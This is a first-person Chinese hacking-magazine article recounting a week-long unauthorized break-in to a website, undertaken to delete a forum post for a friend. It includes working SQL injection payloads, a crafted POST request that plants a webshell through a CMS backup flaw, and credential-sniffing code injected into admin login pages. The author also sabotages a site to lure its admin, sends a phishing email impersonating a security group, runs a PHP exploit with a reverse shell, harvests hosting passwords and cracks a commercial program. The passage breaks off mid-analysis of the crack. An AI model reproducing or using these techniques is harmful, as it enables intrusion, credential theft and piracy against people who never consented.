本月焦点
一次艰难的渗透纪实
图/文 kyo327
前言
随着互联网的迅速发展,越来越多的应用都转向B/S结构,因为它是跨平台的、易操作的、方便的、迅速的,这样不论用户使用什么样的操作系统,仅仅需要安装一个浏览器就能享受在线购物、网上支付、看电影、写博客等各种各样的便捷服务,特别是Web2.0时代的到来更增添了互联网的活力。但是这样也就会导致出现越来越多的Web安全问题,比如SQL注入、XSS、上传漏洞、弱口令、目录遍历等。虽然早在数十年前就已发现这些漏洞产生的根本原因,可它们却始终没有退出历史舞台,依然是Web应用程序主要的安全问题。当然很多企业也开始越来越重视安全,但是仅仅依靠买网络安全产品、买防火墙等是不能完全解决问题的。现在的企业安全最大问题就是不重视网络安全人才,导致搞安全的薪水不如挖煤窑的,或者纯粹依靠安全产品代替网络安全人才。软件产品毕竟也是人写的,并且具有时效性,出了0Day后,死的产品能立即做出安全措施吗?动辄就看见招聘做内核驱动的程序员年薪20万以上,这种状况让搞安全的情何以堪,并且搞安全也需要学习底层编程、C语言、Perl、Python、Php、Asp、.NET、Java、C++、调试漏洞、配置各种各样的Web环境、熟练掌握od、ida、softice、windbg、软件破解、社工等只要是跟互联网有一点关系都是必修之课,最关键的是,还要时刻学习新东西,要跟得上互联网的发展,否则就会被淘汰。
我先感慨一下,在做网络安全这些年感觉一直在漂,从2005年刚到北京的远东到2008年的大连,再到2009年的盛大,没有一个地方能让人感到是在踏实地做安全,对网络安全人才也都不重视。从圈群的好友处得知,有很多技术水平很不错的朋友都闲置在家,为什么?我感觉国内的大环境都是这样的,所以出现了2011年年底的各大网站密码泄露事件。我认为,泄露的那些也只是九牛一毛。在这个不够重视网络安全人才的时代,也许这个事件算是给那些高傲的、高薪的程序员上的一堂课吧。
言归正传。因为快要当爸爸了,我终于离开了北京,在家闲着这段时间受一朋友之托要在某一个网站帮忙删一个帖子,于是便开始了这次漫长的渗透之旅。
初期的探索
在拿到目标www.111.com后,前期的侦查工作一定是要做充分的。我喜欢先从网站程序入手,这样如果找到突破口就可以迅速拿下。
通过初期的对网站文件暴力猜解,扫描到robots.txt文件,有以下目录,如图1所示。
图1
再通过对这些文件的访问,从3gadm.php文件的标题栏得到该网站采用的是diy-page8.3的cms,自然可以先用搜索引擎搜索该cms暴露的已知漏洞。我搜到的大概有3个版本的结果:一个是子仪的盲注exp,还有两个是来自t00ls的。由于该网站服务器安装有Web防火墙,导致同一个IP不能多次连续地提交get或post请求,否则就被认为是非法的。这样盲注那个exp也就一直没有成功,而我使用t00ls小蟑螂那个exp时,在本机自己搭建环境的最新版本是成功的,但是目标仍然失败,我考虑也许是目标版本较低的原因。
由于后台文件admin.php被改名,同时也在进行着网站后台文件的暴力猜解,不过也许我的字典文件不够大,也不够好,结果很令人失望,并且该网站做了禁止普通用户注册、禁止普通用户登陆的安全措施,这样连传图片的权利也被封杀了。
再看他的论坛,毕竟要删的帖子是在论坛上的,但他使用的是最新版的discuz! X2,因为我测试了2011年7月那个漏洞不好使。
到这里,我对该目标的网站程序方面大概有了一些了解,但有用的信息不是很多。接着我用nmap扫描了Web服务器的端口情况,只开了80端口,也许其他端口被防火墙K掉了吧。通过经验访问一个不存在的目录,服务器返回如图2所示。
图2
从图2看出,貌似IIS7.0或IIS7.5,再用iiswrite.exe对网站发送一个head包,返回Server: Microsoft-IIS/7.5,这样大概能确定该网站服务器操作系统应该是Windows 2008。
通过上面的分析,没有找到什么突破口,接下来大家都能想到,可以扫描一下他的Web服务器上都有哪些网站,从该服务器上的其他网站入手是大家一贯的做法,我也就不多说了。再次遇到cdn,无法简单地判断网站的真实IP。
关于cdn,我在这里用简单的几句话介绍一下,用户在自己的浏览器中输入要访问的网站的域名,网站主dns选择比较近的cdn服务商节点,并把请求的内容缓存到cdn节点服务器,再把cdn节点服务器IP返回给用户,最后用户再向给定的cdn节点请求网站内容。
我测试使用不同地区的vpn去ping网站域名,发现IP都不一样,后来通过Google搜索其网站的相关帖子,发现有另外一个域名www.222.com显示相同的内容。再次用此域名进行旁注域名查询,总算有了真实的结果,如图3所示。
图3
但令人失望的是,这几个域名最终全都指向了主网站和论坛。
看到一点希望
由于www.222.com直接指向论坛,而www.111.com指向cms,可以判断两个网站应该处于不同的虚拟目录下。于是我用自己写的扫描器对www.222.com进行了网站文件暴力猜解,如图4所示。
图4
从图4中看到,总算有个信息泄露的问题了。打开phpinfo.php,结果如图5所示。
图5
从图5中我得到了目标操作系统是Windows2008, PHP运行方式为FASTCGI,PHP版本为5.2.17,还有网站物理路径等,让我眼前一亮的是IIS7.5+FASTCGI。在默认情况下,IIS处理请求的时候可能导致像nginx安全漏洞一样的问题,任何用户都可以远程将任何类型的文件以PHP的方式去解析。
我马上找到一个该网站某个图片链接地址进行类似的请求:http://www.222.com/images/aaa.gif/kyo.php,没有返回404,并且返回的http头状态码是200,这时我基本可以肯定该漏洞的存在。我记得给一位好友看过一眼,他说这个站死定了。我也深信这一点,但我没想到后面的过程竟如此艰难。
随后我带着喜悦的心情,迅速地在该论坛注册了账户,并急切地上传那个带着一句话PHP木马的美女图片,但结果仍然令人沮丧,论坛将所有的附件传到另外一个文件服务器上,而那个文件服务器是Windows 2003,没有类似的Bug,并且和目标主机不在一个C段。可这个漏洞却很诱人,我还考虑到论坛显示帖子是html文件类型,如果能在显示帖子的html里写入<?php phpinfo();?>倒也是可以利用的,只是<>总是被过滤为< >,主站的cms又禁止登录,cms后台文件也无法找到,看来只能再换换别的思路了。
从二级域名入手
每个做网络安全的都应该了解,在网络上每个人享受各种服务:上论坛、听音乐、网上支付、购物等,最重要的就是自己的密码,而账号大多数都是公开的,只要我们拥有目标的常用密码,就可以尝试他的其他网站的登录验证,因此,我开始了从二级域名入手的打算,拿下后至少可以得到他的常用密码之一。
通过他本网站的链接和二级域名暴力破解查询工具,再加上自己的分析,我得到了target比较主要的一个二级域名:a.111.com,仍然是一个比较成熟的、没有任何已知漏洞的cms的博客程序,值得庆幸的是,这个二级域名所在的服务器倒有十几个其他的网站,应该是虚拟主机,操作系统是Windows 2003,同时支持PHP和ASP。
我首先瞄上的一个网站是:www.aaa.com,很轻松地扫描出其后台管理文件为:http://www.aaa.com/admin/admin_index.php,直接在浏览器上浏览url,发现其没有做严密的验证,后台一部分功能是可以使用的,如图6所示。
图6
并且后台使用了FCKeditor,是最新版本,测试了这个编辑器的漏洞集合后无果,只能把希望寄托在图6的上传图片上,看看是否有问题。这次还算顺利,我在Vmware的WindowsXP系统用WSockExpert.exe抓了一下上传的包,在一句话ASP木马里添加了gif89a头,再将包的这里改为:Content-Disposition: form-data; name="article_img"; filename="C:\aa.asp .gif",用nc提交后即得到名为120107005538_53.asp的上传文件,也就拿到其webshell了,如图7所示。
图7
其实这里上传的时候,Web防火墙也拦了好几次,几乎杀了我95%的小马,最后只能请出独门暗器才躲过防火墙。后来才知道该虚拟主机使用的组合是“星外+护卫神·入侵防护专家”。
拿到www.aaa.com的webshell后,自然是想跨目录到a.111.com。而最新的“星外+护卫神”的确很有效,删除了wscript.shell、shellapplication等扩展,还不支持aspx,不能运行任何命令。
调试PHP漏洞
我用phpinfo得知www.aaa.com的web服务器的PHP版本是5.2.9-2。版本不高,我印象里php5.2.13以下的版本出过好几个漏洞,其中“PHP hash_update_file() Already FreedResource Access Vulnerability”是比较著名的。于是我放下该网站的webshell,找到这个漏洞公告和poc,准备调试一下这个漏洞,用它去执行命令,进而提升权限。
公告地址为:
我在vmware_winxp的apache+php环境里用WinDbg附加进程httpd.exe,然后在浏览器中打开这个漏洞的poc,发生异常,如图8所示。
图8
由图8可以看出,发生问题的模块是php5ts.dll,发生问题的函数是php_hash_register,在这个函数偏移0x2bf处发生了异常。
显然php5ts.dll是PHP的核心解析器,PHP所有的功能都包含在它那里,不论什么操作系统,运行PHP都少不了要加载它。从这里可以看出这个漏洞危害的范围很广,是跨平台的。至于漏洞发生的原因,就不在这里叙述了。
现在看发生异常的位置是:
00a74fef ff5204 call dword ptr [edx+4] ds:0023:55555559=????????
Eip为0x00a74fef的地方,而poc第一句代码就是define("OFFSET", pack("L",0x55555 555));把这个地址装入一个二进制串中。再看异常发生时的寄存器环境(如图8中的edx=0x55555555),后来再通过调试确定开始的第一句代码的地址就是控制edx的寄存器。那么只要能在edx+4指向的地址装入精心构造的shellcode,就可以顺利溢出了。
后来,朋友发现了一种把另一个PHP漏洞()PHP addcslashes() Interr-uption Information Leak Vulnerability)和这个漏洞结合起来利用的方法,后来我也证实了这个结果。以下是朋友的调试结果,在这里和大家分享:
“PHP addcslashes()信息泄露漏洞,它可以读出内存空间中的信息,在读出的信息中,从偏移0x10开始,保存了一个指针,而在该指针偏移0x20开始保存我们控制的变量的值。”
这样我们就可以用PHP addcslashes()漏洞找到放置shellcode的地址,再找到某个变量A的地址,在变量A的地方存放shellcode的地址,那么call [edx+4]就可以执行shellcode了。把那两个poc结合起来,最后那个hexdump()函数改成我们自己的找到偏移0x10指向的0x20地址的函数。
其实是很简单的一个功能,直接附上朋友写的这个函数,如下所示。
function hexdump($x) { $ret_long = ord($x[0x13]) * 0x1000000 + ord($x[0x12]) * 0x10000 + ord($x[0x11]) * 0x100 + ord($x[0x10]); $ret_long = $ret_long + 0x20; return $ret_long; }
只是里面的细节还需要调一调,如要生成纯字母、数字的shellcode,edx+4那个地方需调一下等,然后就可以用metasploit生成我们想要的纯字母数字的shellcode了。
我在本机测试成功,如图9所示。
图9
在漏洞调试成功后的第2天,当我准备用这个exp提权时,用菜刀连上我的webshell,谁知道却返回404。
我把www.aaa.com输入浏览器后,返回信息如图10所示。
图10
从图10可以看出,昨天那个刚拿下的网站,今天域名就过期了,我还能说什么呢?
杀个回马枪
我只能老老实实再杀回来仔细分析虚拟主机上剩下的那几个网站了。那个悲催的网站被关闭了之后剩下的不是discuz! X2就是静态html网站,再有就是很知名的较新版本的无已知漏洞的cms了,它就只有一个ASP的网站,地址为http://www.bbb.com。也许这个网站是唯一的突破口了,用后台扫描器很容易扫到后台是http://www.bbb.com/manage/,如图11所示。
图11
从图11可以很清晰地得到这个网站程序是3hooCMS V3 SP2,我搜了一下,没有找到这个版本的漏洞,较低的版本倒是有一个xss漏洞,并且也没有这个版本CMS的下载地址,我怀疑目标主机安装的是商业版。我只找到了3hooCMS_V2_SP2的下载。
下载完后,我在vmware_win 2003下搭了环境,开始分析其源代码。
经过一段时间的分析,我发现Search.Asp这个文件存在SQL注入漏洞。
代码第9行到11行如下。
Dim TplFileUrl,TplStr,Sql,Rs,rCid,Cid SoKey=trim(request("sokey")) page=request.QueryString("page")
第10行SoKey变量没有经过任何过滤便传了进来。
第41到47行如下。
if SoKey="" then csql="" filename="Search.Asp" else filename="Search.Asp?sokey="&SoKey end if sql="select * from [info] where "&LanguageSet&"Name like'%"&SoKey&"%' order by id desc;"
SoKey被当做搜索型变量传入sql语句中。
因此这里存在着一个搜索型的注入漏洞。
由于是已知的cms,其表名和字段名都不用猜了。
管理员表名:ScmsAdmin;用户名字段:username;密码字段:password。
选择好关键字直接在nbsi工具里跑吧。
遗憾的是没有跑出任何结果,于是我在目标网站中手工搜索输入框里测试。
当输入33%' and 1=1 and '%'='时查询出了一些结果。
而输入33%' and 1=2 and '%'='时又没有任何结果。完全没有问题啊,sql语句肯定执行了,注入百分之百存在,但为什么就是跑不出来呢?我突然想到,也许新版本第10行代码应该是这么写的:
SoKey=trim(request.form("sokey"))
这是post提交方式,我马上变换成了post的扫描方式,终于得出了结果,如图12所示。
图12
得到加密的密码(fead0df1fe60103eaba454 dd0a7e0842)后拿到Cmd5解密,但仍无法解密。看来这年头不设置10位以上字母+数字+特殊字符的密码都不好意思和别人打招呼。
不成功的社工
md5密码破不出来其实是常有的事,不过也说明国内上网用户的安全意识也在一步步地提高。我考虑到既然他的网站有这个注入漏洞,那么管理员即便改了密码,我仍然能通过SQL注入漏洞得到hash,如果他能改一个Cmd5能破出来的简单的密码不就有希望了吗?于是我借2011年年底的网络安全密码泄露门事件,给管理员发了一封E-mail,如图13所示。
图13
很不好意思,这里我借用了90sec.org的名义,因为我觉得90sec中有很多人的技术水平还是蛮高的,并且喜欢免费给某些网站提交漏洞。
E-mail发出去2天后,再次注入得出密码的hash,发现他没有修改。我也感觉此路不通,即便他修改了,很有可能密码还是很复杂而破不出来。
后来又想到去社工主网站www.111.com,询问他们的管理员为什么主网站不能注册普通用户,也不能登录,是不是网站程序坏掉了。想借他们修复普通用户注册功能后,上传一个含有PHP木马的图片,再利用IIS7.5的解析漏洞得到shell。但得到的答复是:他们就是专门禁止普通用户注册和登录的。
罢了,我社工真的不擅长,不太会与人交互,还是靠自己吧。
V5的迂回战术
考虑到好不容易拿到http://www.bbb.com的hash,不能这么轻易放过这个网站啊。于是想看看这个管理员有没有其他的站,通过拿下他自己的另外的网站,然后再得到其密码也是一个不错的选择。这就是所谓的迂回战术吧,我不从正面进攻了,我从你有弱点的地方进攻还不行吗?
于是我根据他网站提供的信息,再加上whois查询、域名查询、谷歌、百度,终于发现这个管理员在其他虚拟机还存在3个类似的网站,分别是:
虚拟主机操作系统同样是Windows 2003,令人兴奋的是这3个网站与www.bbb.com使用的是同一套cms,都是3hooCMS V3 SP2。
利用前面发现的SQL注入漏洞,很容易得到bbb1、bbb2两个网站的后台管理员的密码hash都为fead0df1fe60103eaba454dd0a7e0842,和bbb.com一样是无法破解的。
又过了一天,我怀着百分之一的希望把www.bbb3.com也扫了一遍,但惊奇的是密码hash和其他3次都不一样,立刻拿到Cmd5去破解,但需付费。结果如图14所示。
图14
就这样我拿到了www.bbb3.com管理员的密码。这下我感到形式一片大好,思路如下。
① 通过进入bbb3.com的后台,得到一个webshell。
② 再从webshell里通过提权跨目录到bbb2.com。
③ 改写bbb2.com的后台登录代码,嗅探其明文密码。
④ 同步进行ftp密码的破解,顺便尝试bbb.com的ftp。
至此我感觉这个迂回的战术还算威武。
从再读cms源代码到后台getshell
进入www.bbb3.com后台后,尝试了上传的地方,又看了源代码,发现没什么漏洞,该网站严格检测了扩展名并以时间格式强制更改了上传后的文件名,应该是较成熟的上传代码。而网站设置那块是写入数据库的。唯一可能出问题的地方只能是数据库备份了,如图15所示。
图15
从图15得知数据库的路径和扩展名,不过,看着诱人的asa扩展名却做好了防下载处理,我利用ASP小马代码入库的方式来测试,发现#Data23%base#.asa是无法执行ASP的。
大家肯定会说,上传一个带一句话ASP木马的图片,然后备份这个图片为ASP不就完事了吗?
但是有以下几个问题需要解决。
① 当前数据库路径输入框和备份数据库名称输入框都是只读的,无法更改。
② 即便备份为a.asp;a.jpg也不可执行(后来才知道,可能是防火墙拦截的原因)。
第一个问题好处理,客户端的一切防御手段都是浮云。一个readonly能阻挡我这个久经沙场的老将吗?不论是把其htm保存下来,把action完整路径附上提交,还是用firefox的插件,再或者是用国外的神器burpsuite,都能轻松绕过。
至于第二个问题,我发现肯定备份出了a.asp;a.jpg类型的文件,可是用浏览器访问却总是出现404错误。
我只能再看其cms源代码,看它备份此处到底是如何处理的。
看了一会儿后,如愿以偿地发现了问题,漏洞文件为Admin_DataBackup.asp。
第65~83行的代码如下。
sub backupdata() Dbpath=request.form("Dbpath") Dbpath=server.mappath(Dbpath) bkfolder=request.form("bkfolder") bkdbname=request.form("bkdbname") Set Fso=server.createobject("scripting.filesystemobject") if fso.fileexists(dbpath) then 72.If CheckDir(bkfolder) = True Then 73.fso.copyfile dbpath,bkfolder& "\"& bkdbname & ".mdb" 74.else 75.MakeNewsDir bkfolder 76.fso.copyfile dbpath,bkfolder& "\"& bkdbname & ".mdb" end if response.write "<center>备份数据库成功,备份的数据库 路径为 "&bkfolder&"\"&bkdbname&".mdb</center>" response.write "<center><a href='Databackup\" & bkdbname & ".mdb' a>下载本次 备份数据库到本地</a></center>" Else response.write "找不到您所需要备份的文件。" End if end sub
第68行bkfolder=request.form ("bkfolder") 没有对目录名做过滤
而request.form("bkfolder")是从第37行这句代码传过来的
<td height="22"><input type="hidden"size=50 name=bkfolder value=Databackup ></td>
说明默认情况下bkfolder= Databackup这个目录
第72~76行是检测bkfolder这个目录是否存在,如果不存在就调用MakeNewsDir bkfolder这个函数。
第98~103行代码如下。
Function MakeNewsDir(foldername) Set fso1 = CreateObject("Scripting.FileSystemObject") Set f = fso1.CreateFolder(foldername) MakeNewsDir = True Set fso1 = nothing End Function
直接调用fso创建一个没有过滤参数的文件夹。
这时大家可能都想到了:如果我们上传的时候抓包,把默认的文件夹Databackup改为kyo.asp,那不就创建了一个kyo.asp的文件夹吗?这样配合IIS6.0的漏洞将可以成功执行我的美女图片ASP木马。
实战当中也是这样的,把抓的包改为这样的形式,再用nc提交就OK了。
POST /manage/Admin_DataBackup.asp?action=Backup HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, application/vnd.ms-excel, application/vnd.ms-powerpoint, */* Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: www.bbb3.com Content-Length: 77 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDSATTCRQC=LFGDIANCDLPBPGNJNCMP KEIM; Scms%5FVerifyCode=9109 DBpath=..%2FUpLoadFile%2F20120112012046769.jpg&b kfolder=kyo.asp&bkDBname=data
备份成功后,用菜刀提交url路径类似如下。
http://www.bbb3.com/manage/kyo.asp/data.mdb
至此也算拿下了一个webshell,万里长征又进了一步。
ASP登录嗅探变态的密码
幸运的是www.bbb3.com所在的虚拟主机没有做什么安全措施,传上去一个aspx的木马就可以跨到www.bbb1.com和www.bbb2.com的目录里去了,毕竟aspx默认是权限稍大的user权限。在尝试ftp密码无果后,下一步就是在bbb1和bbb2的后台登录页面写嗅探代码了。我在Admin_Send.asp页面第8行开始添加以下代码。
thename=replace(trim(request.form("username")),"'","") thepass=replace(trim(Request.form("password")),"'","") SaveFile="page.gif" GetPostStr=thename&"|"&thepass set F=server.CreateObject("scripting.filesystemobject") set I=F.OpenTextFile(server.mappath(SaveFile),8,True,0) I.WriteLine(GetPostStr) I.close Set F=nothing
只要管理员登录后台,密码就会被记录在page.gif中,剩下的就只有等了。但我不是一个忍者,等了一天无果后,我就在他数据库网站配置字段做了点手脚致使访问他网站首页是空白,但是后台还是可以正常登录的。果然这家伙不到半天就急了,当天晚上我就顺利地嗅探到了他的变态的密码,如图16所示。
图16
从图16可以看到,密码果然很强悍,10位以上,字母数字再加上+-号,让www.cmd5.com再添50公斤的硬盘也破不了啊。
拿到这个关键的密码,再用前面研究出的3hoocms后台getshell漏洞,轻车熟路地拿下www.bbb.com的webshell,也就是a.111.com所在的虚拟主机。接下来的任务就是提权跨目录到a.111.com了。
突破星外+护卫神
进行到这里,在“星外虚拟主机+护卫神”入侵防护专家的防御之下,确实让人望而却步。好在PHP版本比较低,我终于用上了那个调试好的PHP溢出漏洞。在metasploit生成一个反弹端口的shellcode,添加到那个exp.php代码中。我在本机执行nc –vvlp 8181,然后把exp.php传到www.bbb.com根目录。当我在浏览器中打开http://www.bbb.com/exp.php时,立刻出现了如图17所示的错误。
图17
从图17返回的内容来看,应该是没有成功。后来我在vmware_win2003设置了和目标操作系统+PHP版本+PHP执行方式(ISAPI)一模一样的环境,顺利反弹回来一个nt network权限的shell。这里我考虑应该是w3wp.exe执行的shellcode ,所以继承了w3wp的nt network权限。但不论怎样也是个交互式可执行命令的shell啊。这次终于找到了答案,原来目标Windows 2003打开了dep(堆栈数据执行保护)。
我仍然没有气馁,虽然上次域名过期那个网站的目录没有执行aspx的权限,但这个www.bbb.com的目录我还没试呢。万一支持aspx不就又多一种执行命令的方法吗?这个方法如下。
System.Diagnostics.Process.Start(@"calc.exe");
这次果然没错,bbb.com是支持aspx的,只是有两个问题需要解决。
① 护卫神几乎杀光了所有的aspx木马,需要突破。
② 星外虚拟主机的可写可执行目录的寻找是个大麻烦,需要寻找一个,上传给cmd.exe来支持aspx执行命令,因为大家都知道Windows 2003的c:\windows\system32\cmd.exe默认只对administrator有权限读/写。
第一个问题比较好解决,记得我写过一篇在黑客手册发表的《浅谈在webshell下执行命令》文章,里面有我提供的3种aspx执行命令的小马。使用任何一个,改变一下字段名,除去敏感字符串,再把函数位置调换一下,也就能过了,最多再加密一下而已。这个难不倒我,毕竟混在看雪论坛研究加密解密算法也有几年光景了。
至于第二个问题,我倒没有什么好方法,只能写个遍历脚本,测试可读的每一个目录是否有漏网的可写目录存在。这个网上有很多人已经写过这样的方法了,用拿来主义改一改即可。
最终被我找到了星外的一个可写目录:
C:\Documents and Settings\All Users\Application Data\Microsoft\Media Index
剩下的事情就简单了,我也懒得用pr大杀器,也用不着最新Windows全版本的0Day提权exp这个牛刀了。直接传一个cscript.exe+iisgetpass .vbs,读出所有网站用户的配置信息和密码即可。iisgetpass.vbs代码大家都有,我就不在这里介绍了。
最终结果如图18所示。
图18
一般这类结构的网站,IIS账户的密码就是ftp的密码。就这样我得到了a.111.com的ftp账户和密码,并成功把其拿下。
由于主目标www.aaa.com只开80口,也无法用这个ftp密码去尝试它了,并且再用这个密码尝试破解其论坛管理员的密码又无结果,只能继续嗅探了。
PHP嗅探目标管理员密码
拿下a.111.com后,还是有一些惊喜的。我看到了www.111.com的早期的论坛数据库存在于a.111.com的库中,并且经过转换发现,其管理员的discuz! Hash密码与a.111.com的md5 hash密码是一样的。
其实这个对比很简单。假设a.111.com中管理员的密码hash为:228ab4dd53787ce32a88ade0 eeea8a51,早期www.111.com的discuz管理员密码hash为:8946fa73f2b44b64da2ebab1aaa 57ec6:42ee90。那么测试md5(228ab4dd5378 7ce32a88ade0eeea8a5142ee90),如果等于8946fa73f2b44b64da2ebab1aaa57ec6,则说明两个密码的明文是一样的。
因为discuz加密的方式是:md5(md5($pass).$salt),我恰恰证实了这一点。
由于密码的复杂度不是我们所能暴力破解的,我于是又一次选择了PHP登录口密码嗅探。
与此同时还在继续着另一个工作,就是查找那个帖子所在板块的版主的用户名,拿到这些任何一个版主的密码不也一样能删帖子达到目的吗?但这次的经历告诉我:你省省吧,人家那个板块的版主就是管理员一个人。我再次无语,还是老老实实地写代码嗅探吧。
我找到a.111.com的前台和后台登录口添加了下面的代码。
$username1 = $this->Username; $password1 = $this->Password; $file="././images/ bg1.gif"; $handle = @fopen("././images/th_bg1.gif", "a"); $recontent = fread($handle,filesize($file)); $content= $username1."----".$password1."---- date is:".date("Y-m-d H:i:s")."\r\n"; $result=$recontent."\r\n".$content; @fwrite($handle,$result);
这次我没有着急,因为我发现这个管理员很勤快,几乎天天更新博客,于是第二天顺利记录到其密码。
discuz!提示问题的阻碍
在拿到管理员变态密码迫不及待地登录之后,发现需要给出提示问题的答案才能登录。
在以前,我遇到此类情况都是直接放弃,但是这次不同,前面一个多礼拜承载了我太多的磨难,我无法说服自己放弃。不是有一个早期的BBS的用户数据库吗?我于是找到了密码提示问题答案的加密字段为2afd4591,仅仅是一个8位的字符串,到底是什么加密算法呢?
我再次担当了阅读源代码的苦力差事。引用朋友的一句话:把我累得跟骆驼一样,终于得到如下结果。
Discuz提示问题有7个,按数字序号是1、2、3、4、5、6、7设为变量$i,明文答案设为变量$pass。那么2afd4591=substr(md5($pass.md5($id)), 16,8)这样的话,提示问题答案是可以暴力破解的,但如果他的答案是汉字或者很变态的长度的明文,也是很难破解的。我发现他最后的hash串仅仅是8位,那么有很大的概率是可以碰撞成功的。
于是我认为:肯定存在多个明文,hash与2afd4591一样,但明文不一样,我十分肯定我的分析。下面就需要先制作一个大字典,然后开始写程序,碰撞吧。
OllyDBG调试superdic并制作注册机
我可没有那么多耐性去做重复的工作,我认为肯定有很多人写过字典生成工具,下载一个用就是了。于是我下载到了superdic,还挺好用的,如图19所示。
图19
自己操刀OllyDBG调试一下,看这个作者用什么加密算法保护自己的程序吧。其实有时候调试算法,破解作者的加密思路也是一个不错的游戏,但是这次我没有那么多精力了,如果它能在两个小时内阻挡我,那我就从我绵薄的存款中给作者奉献一回吧。
先用peid加载superdic.exe,如图20所示。
图20
从图20可以看出,软件是用VC++6.0写的,且没有加壳。看到这些我很惬意,看来省了我不少事。再用ida加载函数库符号并导入OllyDBG后,就可以开始分析了。
按“F9”键运行后,我首先将注册码赋值为123456789,单击“注册”按钮,弹出一个对话框,提示“请重启本程序,如果您输入的注册密码正确,将能使用本软件的全部功能,并可享受后续版本的免费升级”。一般来说,重启验证要么是keyfile,要么是写入注册表。经过下断点测试,我发现该程序使用的是注册表验证。
这样一来,下断就有思路了。
用OllyDBG加载superdic.exe后,在命令行下断bp RegOpenKeyExA,然后按“F9”键让其运行,同时观察右边的堆栈窗口,在第6次按“F9”键之后,断在了这里,如图21所示。
图21
从堆栈可以看到该软件注册表的位置是:Software\EUsoft\superdic,用regedit打开看一下这个位置,如图22所示。
图22
从图22中看出,superdic把用户名和注册码都保存在了Software\EUsoft\superdic这个位置。这时在0x77da7852这个位置按“F2”键取消断点,然后按“Alt+F9”组合键即可回到应用程序。这样一路按“F8”键可以来到这里,代码如下。
/*403AEA*/ LEA ESI,DWORD PTR DS:[EBX+6FC] /*403AF0*/ PUSH ESI /*403AF1*/ CALL superdic.004027A0 /*403AF6*/ ADD ESP,0C /*403AF9*/ MOV ECX,EBX /*403AFB*/ PUSH ESI /*403AFC*/ PUSH 4A0 /*403B01*/ CALL superdic.00430B3C /*403B06*/ MOV EDX,DWORD PTR DS:[EBX+218] /*403B0C*/ LEA ESI,DWORD PTR DS:[EBX+218] /*403B12*/ PUSH 0FF /*403B17*/ MOV ECX,ESI
可以在0x403af0处设置一个断点,接着按F7键进入CALL superdic.004027A0,大致一看,应该是申请号的生成方法,代码如下。
004027A0 SUB ESP,0C 004027A3 PUSH ESI 004027A4 PUSH 0C 004027A6 CALL superdic.004319E7 004027AB PUSH 0A 004027AD MOV ESI,EAX 004027AF CALL superdic.004319E7 004027B4 ADD ESP,8 004027B7 LEA ECX,DWORD PTR SS:[ESP+C] 004027BB LEA EDX,DWORD PTR SS:[ESP+4] 004027BF PUSH 0A ;/pFileSystemNameSize= 0000000A 004027C1 PUSH EAX ;|pFileSystemNameBuffer 004027C2 LEA EAX,DWORD PTR SS:[ESP+10] ;| 004027C6 PUSH EAX ;|pFileSystemFlags 004027C7 PUSH ECX ;|pMaxFilenameLength 004027C8 PUSH EDX ;|pVolumeSerialNumber 004027C9 PUSH 0C ;|MaxVolumeNameSize= C (12.) 004027CB PUSH ESI ;|VolumeNameBuffer 004027CC PUSH superdic.00446148 ;|RootPath- Name = "c:\" 004027D1 CALL DWORD PTR DS:[<&KERNEL32. GetVolumeI>; \GetVolumeInformationA 004027D7 MOV EAX,DWORD PTR SS:[ESP+4] 004027DB MOV ESI,DWORD PTR SS:[ESP+14] 004027DF PUSH EAX 004027E0 PUSH superdic.00446144 ; ASCII"%x" 004027E5 PUSH ESI 004027E6 CALL<superdic._sprintf>
这段代码大概是使用GetVolumeInformationA函数再加上其他一系列操作生成申请号的过程,因为是逆注册算法,所以可以直接按“F8”键过去看结果即可,而事实上也确实生成一个子串24578843,与图19中的申请号一致。
接着往下走,不关键的地方就跳过了,一直走到这里,代码如下。
/*403D48*/ LEA EAX,DWORD PTR DS:[EBX+6FC] /*403D4E*/ PUSH ECX /*403D4F*/ PUSH EAX /*403D50*/ CALL superdic.004034E0
可以看到把申请号压入了堆栈,而函数CALL superdic.004034E0经判断是对申请号做了一次加密过程。从堆栈处看到加密后密文是:
0012EF6C 0012EFA0 ASCII "BqwITTcm 8kG5lcEk"
接着再按“F8”键配合按“F7”键慢慢走。
/*403D5B*/ PUSH ESI /*403D5C*/ CALL superdic.00403630
403D5B的位置是把注册码压入堆栈,随即利用CALL superdic.00403630做了一次加密。
过了这个call后把我预设的123456789加密成了l6345q789,看下面堆栈数据。
0012EF64 0012FCA0 ASCII"l6345q789"
随后又经过一些与算法无关的代码后来到这里,代码如下。
/*403EBD*/ MOV DL,BYTE PTR DS:[ESI] /*403EBF*/ MOV CL,BYTE PTR DS:[EDI] /*403EC1*/ MOV AL,DL /*403EC3*/ CMP DL,CL /*403EC5*/ JNZ SHORT superdic.00403EE5 /*403EC7*/ TEST AL,AL /*403EC9*/ JE SHORT superdic.00403EE1 /*403ECB*/ MOV CL,BYTE PTR DS:[ESI+1] /*403ECE*/ MOV DL,BYTE PTR DS:[EDI+1] /*403ED1*/ MOV AL,CL /*403ED3*/ CMP CL,DL /*403ED5*/ JNZ SHORT superdic.00403EE5 /*403ED7*/ ADD ESI,2 /*403EDA*/ ADD EDI,2 /*403EDD*/ TEST AL,AL /*403EDF*/ JNZ SHORT superdic.00403EBD /*403EE1*/ XOR EAX,EAX /*403EE3*/ JMP SHORT superdic.00403EEA /*403EE5*/ SBB EAX,EAX /*403EE7*/ SBB EAX,-1 /*403EEA*/ XOR EDX,EDX /*403EEC*/ PUSH 476 /*403EF1*/ TEST EAX,EAX /*403EF3*/ SETE DL /*403EF6*/ MOV ECX,EBX /*403EF8*/ MOV DWORD PTR DS:[EBX+90],EDX
这段代码即是BqwITTcm8kG5lcEk与l6345q789的对比过程,如果相等就注册成功。
作者的大体思路就是这样吧,如果暴力破解的话只需要把403EF1。处改为下面的代码即可:/*403EF1*/ MOV DL,1。但分析到这里,暴力破解已经满足不了我的欲望了,再说离我的两个小时还差得远呢。接着看看作者算法的思路吧。
既然分析的思路已经清晰,这里再稍作整理:
设CALL superdic.004034E0函数=f1()
CALL superdic.00403630函数=f2()
如果f1(申请号)=f2(注册码),那么就注册成功。
看来f2()函数是关键啊,需要写出它的逆函数,按“F7”键进去一看,貌似还很长,如图23所示。
图23
再次按“F7”键走来走去,再加上ida的“F5”键,终于对这段代码有了初步的了解。
